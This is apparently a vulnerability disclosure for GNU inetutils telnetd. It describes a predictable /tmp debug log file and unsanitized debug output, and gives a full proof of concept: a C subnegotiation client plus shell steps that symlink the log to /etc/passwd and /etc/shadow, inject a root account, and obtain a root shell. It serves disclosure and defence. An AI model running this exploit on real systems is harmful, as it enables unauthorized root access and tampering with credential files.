Greetings,
I've identified two bugs in the debugging support provided by
telnetd that may be combined to achieve local privilege escalation
or arbitrary file corruption.
INSECURE TEMPORARY FILE CREATION
The first issue involves a hardcoded filename for the debug log
initiated by telnetd/utility.c's debug_open():
static int
debug_open (void)
{
int um = umask (077);
if (!debug_fp)
debug_fp = fopen ("/tmp/telnet.debug", "a");
umask (um);
return debug_fp == NULL;
}
Relying on a predictable filename in a world-writable directory
such as /tmp opens the door to symbolic link attacks.
Assuming the file doesn't already exist, any unprivileged user can
pre-emptively create a symbolic link named "/tmp/telnet.debug" and
point it at a sensitive file owned by root, or whoever else might
be responsible for spawning telnetd.
If telnetd is executed with the -D flag, to enable debugging support,
the daemon will blindly follow the symbolic link and append debugging
output to whatever "/tmp/telnet.debug" points at.
UNSANITIZED DEBUG OUTPUT
The second issue is telnetd/utility.c's printsub()'s lack of debug
output sanitization. This means that line-feed characters received
during suboption negotiation are written directly to the debug log.
The ability to inject line-feeds significantly maximizes the impact
of appending arbitrary data to sensitive files.
Programs such as crond, sshd and PAM are typically robust enough to
ignore irrelevant lines, due to invalid syntax or illogical content,
and focus only on lines that appear to be valid configuration in
their respective contexts.
POTENTIAL MITIGATION
While this sort of symbolic link attack in a sticky directory is
usually mitigated by default on many Linux distributions that have
fs.protected_symlinks=1 in their sysctl configuration, it's unwise
to rely on operating system controls to mask defective application
logic.
PROOF OF CONCEPT
To demonstrate that this is viable for exploitation, I've included
a proof of concept for GNU inetutils telnetd on GNU/Hurd.
To allow the symbolic link attack to succeed on Linux, consider
disabling symbolic link protection with:
# sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
----------------------------------------------------------------- GNU/Hurd 0.9
# Initial configuration ...
root@debian:~# uname -a
GNU debian 0.9 GNU-Mach 1.8+git20250731-up-amd64/Hurd-0.9 x86_64 GNU
root@debian:~# apt update
root@debian:~# apt install inetutils-telnetd
root@debian:~# /usr/sbin/telnetd -V | head -n 1
telnetd (GNU inetutils) 2.7
root@debian:~# sed -i -e 's/#<off># \(.*telnetd$\)/\1 -D/g' /etc/inetd.conf
root@debian:~# grep telnetd /etc/inetd.conf
telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd -D
root@debian:~# groupadd user
root@debian:~# useradd -g user -d /home/user -m -s /bin/bash user
root@debian:~# service inetutils-inetd start
Starting inet superserver: inetd.
root@debian:~# exit
# Unprivileged session ...
user@debian:~$ cat > /tmp/tsn1.c << "EOF"
/*
* Perform subnegotiation for a single option with a local telnet daemon.
*
* $ cc -o tsn1 tsn1.c -Wall -Werror -Wextra -pedantic
* $ printf "\0\ntake it or leave it.\n" | tsn1 24
*/
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <limits.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define IP_ADDRESS htonl(0x7f000001)
#define PORT htons(23)
#define TIMEOUT 1000
#define BUFFER_SIZE 4096
static int descriptor = -1, option = -1;
static void usage(FILE *stream)
{
fprintf(stream, "usage: tsn1 OPTION\n");
}
static int parse(int argc, char *argv[])
{
char *end;
unsigned long value;
if (argc != 2)
return -1;
value = strtoul(argv[1], &end, 0);
if (end == argv[1])
return -1;
if (*end != 0)
return -1;
if (value > UCHAR_MAX)
return -1;
option = value;
return 0;
}
static int setup(void)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_addr.s_addr = IP_ADDRESS,
.sin_port = PORT
};
descriptor = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (descriptor == -1) {
perror("setup: socket");
return -1;
}
if (connect(descriptor,
(struct sockaddr *)&server, sizeof(server)) == -1) {
perror("setup: connect");
return -1;
}
return 0;
}
static int input(void)
{
const unsigned char sub[3] = {IAC, SB, option};
const unsigned char end[2] = {IAC, SE};
if (send(descriptor, sub, sizeof(sub), 0) == -1) {
perror("input: send: sub");
return -1;
}
while (1) {
unsigned char chunk[BUFFER_SIZE];
size_t count = fread(chunk, 1, sizeof(chunk), stdin);
if (count == 0) {
if (feof(stdin))
break;
if (ferror(stdin)) {
perror("input: fread: stdin");
return -1;
}
}
if (send(descriptor, chunk, count, 0) == -1) {
perror("input: send: chunk");
return -1;
}
}
if (send(descriptor, end, sizeof(end), 0) == -1) {
perror("input: send: end");
return -1;
}
return 0;
}
static int negotiate(void)
{
const unsigned char capability[3] = {IAC, WILL, option};
const unsigned char trigger[3] = {IAC, DO, option};
unsigned char request[BUFFER_SIZE];
size_t offset = 0, total = 0, required = sizeof(trigger);
struct pollfd server = { .fd = descriptor, .events = POLLIN };
if (send(descriptor, capability, sizeof(capability), 0) == -1) {
perror("negotiate: send: capability");
return -1;
}
while (poll(&server, 1, TIMEOUT) > 0) {
int count = recv(descriptor,
request + total, sizeof(request) - total, 0);
if (count == 0)
break;
if (count == -1) {
if (errno == EINTR ||
errno == EWOULDBLOCK ||
errno == EAGAIN)
continue;
perror("negotiate: recv: request");
return -1;
}
total += count;
if (total < required)
continue;
while (offset + required <= total) {
if (memcmp(request + offset, trigger, required) == 0)
return input();
offset++;
}
if (offset >= total) {
total = 0;
offset = 0;
continue;
}
memmove(request, request + offset, total - offset);
total -= offset;
offset = 0;
}
fprintf(stderr, "negotiate: no request for option data received\n");
return -1;
}
static void cleanup(void)
{
if (descriptor > -1)
close(descriptor);
}
int main(int argc, char *argv[])
{
atexit(cleanup);
if (parse(argc, argv) == -1) {
usage(stderr);
return EXIT_FAILURE;
}
if (setup() == -1)
return EXIT_FAILURE;
if (negotiate() == -1)
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
EOF
user@debian:~$ md5sum /tmp/tsn1.c
5ae53d88ec957334686713bb9e0ab0bd /tmp/tsn1.c
user@debian:~$ cc -o /tmp/tsn1 /tmp/tsn1.c -Wall -Werror -Wextra -pedantic
user@debian:~$ ln -s /etc/passwd /tmp/telnet.debug
user@debian:~$ printf '\0\nhurd:x:0:0:root:/root:/bin/sh\n' | /tmp/tsn1 24
user@debian:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
login:x:100:101:login user:/etc/login:/bin/loginpr
demo:x:1000:1000:demo,,,:/home/demo:/bin/bash
sshd:x:999:65534:sshd user:/run/sshd:/sbin/nologin
user:x:1001:1001::/home/user:/bin/bash
td: send will AUTHENTICATION
td: send will ENCRYPT
td: send do TERMINAL TYPE
td: send do TSPEED
td: send do XDISPLOC
td: send do NEW-ENVIRON
td: send do OLD-ENVIRON
td: ttloop
td: netflush 21 chars
td: ttloop read 6 chars
td: recv will TERMINAL TYPE
td: ttloop
td: ttloop read 34 chars
td: recv suboption TERMINAL-TYPE IS "
hurd:x:0:0:root:/root:/bin/sh
"
td: ttloop
user@debian:~$ ln -nsf /etc/shadow /tmp/telnet.debug
user@debian:~$ printf "\0\nhurd:$(openssl passwd -6 dontfollow):19000:0:99999\
:7:::\n" | /tmp/tsn1 24
user@debian:~$ su -l hurd
Password: dontfollow
# id
uid=0(root) gid=0(root) groups=0(root)
# rm /tmp/telnet.debug
# sed -i -e '/^td: .*$/d' -e '/^".*$/d' /etc/passwd /etc/shadow
# cat /etc/passwd /etc/shadow
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
login:x:100:101:login user:/etc/login:/bin/loginpr
demo:x:1000:1000:demo,,,:/home/demo:/bin/bash
sshd:x:999:65534:sshd user:/run/sshd:/sbin/nologin
user:x:1001:1001::/home/user:/bin/sh
hurd:x:0:0:root:/root:/bin/sh
root:$y$j9T$myRtVp0OyxMuQfDDOO.ta.$Xl4iV8qFVUGJL9vpqH7XJOC3JgSoezNtNok6xAsY040
:20526:0:99999:7:::
daemon:*:20396:0:99999:7:::
bin:*:20396:0:99999:7:::
sys:*:20396:0:99999:7:::
sync:*:20396:0:99999:7:::
games:*:20396:0:99999:7:::
man:*:20396:0:99999:7:::
lp:*:20396:0:99999:7:::
mail:*:20396:0:99999:7:::
news:*:20396:0:99999:7:::
uucp:*:20396:0:99999:7:::
proxy:*:20396:0:99999:7:::
www-data:*:20396:0:99999:7:::
backup:*:20396:0:99999:7:::
list:*:20396:0:99999:7:::
irc:*:20396:0:99999:7:::
_apt:*:20396:0:99999:7:::
nobody:*:20396:0:99999:7:::
login:!:20396:0:99999:7:::
demo::20396:0:99999:7:::
sshd:!:20396::::::
user:$y$j9T$8FHK9agwW9LQAUWbRh6G4/$1/JeVgNho3Zi82JSI8m3iC1cAakfUBmrojKUnCIJbT3
:20526:0:99999:7:::
hurd:$6$cDVt67G5Y5xvm2E6$Y1sRtjJsqsVpxTYIjRt7CXf.chcUDzt2D5732CBZ6HllrqQKpMo2E
2TSxKwszkPT7ktQRoIj56hqKqPhxxd9P0:19000:0:99999:7:::
# exit
----------------------------------------------------------------- GNU/Hurd 0.9
Regards,
Justin